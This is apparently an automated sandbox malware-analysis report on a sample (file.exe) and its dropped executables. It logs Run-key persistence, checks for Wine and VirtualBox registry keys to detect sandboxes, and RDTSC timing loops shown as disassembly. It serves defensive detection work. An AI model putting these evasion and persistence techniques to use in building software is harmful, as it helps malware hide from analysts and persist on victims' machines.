Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e8cb2646d2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e8cb2646d2.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFE55 second address: 7FF747 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D1842h], ebx 0x00000010 push dword ptr [ebp+122D12EDh] 0x00000016 pushad 0x00000017 mov dword ptr [ebp+122D29CCh], ebx 0x0000001d mov bx, FC37h 0x00000021 popad 0x00000022 call dword ptr [ebp+122D1C4Fh] 0x00000028 pushad 0x00000029 cmc 0x0000002a xor eax, eax 0x0000002c stc 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 jng 00007FA441297127h 0x00000037 mov dword ptr [ebp+122D3515h], eax 0x0000003d pushad 0x0000003e mov cx, di 0x00000041 mov ecx, dword ptr [ebp+122D34CDh] 0x00000047 popad 0x00000048 mov esi, 0000003Ch 0x0000004d clc 0x0000004e jmp 00007FA44129712Eh 0x00000053 add esi, dword ptr [esp+24h] 0x00000057 mov dword ptr [ebp+122D2B11h], ebx 0x0000005d mov dword ptr [ebp+122D2B11h], esi 0x00000063 lodsw 0x00000065 or dword ptr [ebp+122D2B11h], edx 0x0000006b jmp 00007FA44129712Ah 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 mov dword ptr [ebp+122D1940h], esi 0x0000007a jmp 00007FA44129712Ah 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 mov dword ptr [ebp+122D29CCh], ecx 0x00000089 mov dword ptr [ebp+122D2B11h], eax 0x0000008f nop 0x00000090 jmp 00007FA44129712Bh 0x00000095 push eax 0x00000096 pushad 0x00000097 pushad 0x00000098 push eax 0x00000099 push edx 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF747 second address: 7FF752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B78F second address: 97B798 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A6BF second address: 97A6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FA4407343E9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AB3B second address: 97AB3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AFB0 second address: 97AFCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA4407343E3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AFCB second address: 97AFD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D5B0 second address: 97D5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D5B6 second address: 97D5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D6B8 second address: 97D6BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D736 second address: 97D74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA441297131h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D74E second address: 97D780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b pushad 0x0000000c clc 0x0000000d mov edi, ecx 0x0000000f popad 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1BEFh], edi 0x00000018 push 3B5DCC98h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D780 second address: 97D784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D784 second address: 97D78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D78A second address: 97D7EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297132h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3B5DCC18h 0x00000010 mov dh, DAh 0x00000012 push 00000003h 0x00000014 mov dx, 77D0h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FA441297128h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 sub dword ptr [ebp+122D1A59h], ebx 0x0000003a movsx esi, bx 0x0000003d push 00000003h 0x0000003f mov esi, 3EE90FE8h 0x00000044 call 00007FA441297129h 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D7EB second address: 97D813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA4407343D6h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA4407343E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D813 second address: 97D819 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D819 second address: 97D81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D81F second address: 97D823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D823 second address: 97D857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jno 00007FA4407343D6h 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007FA4407343E1h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D857 second address: 97D85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D85B second address: 97D865 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D96B second address: 97D96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D96F second address: 97D975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D975 second address: 97D99A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA44129712Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jbe 00007FA441297134h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D99A second address: 97D99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D99E second address: 97D9C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FA441297133h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D9C2 second address: 97D9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D9C7 second address: 97DA0D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA441297128h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b or dx, 30C6h 0x00000010 lea ebx, dword ptr [ebp+124514ADh] 0x00000016 mov ecx, dword ptr [ebp+122D3649h] 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FA441297132h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 jmp 00007FA441297130h 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990709 second address: 99072D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343DDh 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA4407343DEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F57B second address: 99F57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F57F second address: 99F596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007FA4407343D6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F8C2 second address: 96F8ED instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FA44129713Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F8ED second address: 96F8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F8F1 second address: 96F912 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FA44129712Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d jng 00007FA441297132h 0x00000013 jbe 00007FA441297126h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D582 second address: 99D586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D586 second address: 99D58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D6C4 second address: 99D6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D6C8 second address: 99D6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D826 second address: 99D830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D9A3 second address: 99D9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA441297130h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D9B7 second address: 99D9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DAFA second address: 99DAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DAFE second address: 99DB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DC4F second address: 99DC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA441297126h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DC5A second address: 99DC6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF0D second address: 99DF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF11 second address: 99DF20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E31F second address: 99E323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C299 second address: 96C2A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA4407343D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E751 second address: 99E755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E755 second address: 99E76B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FA4407343DCh 0x00000010 rdtsc
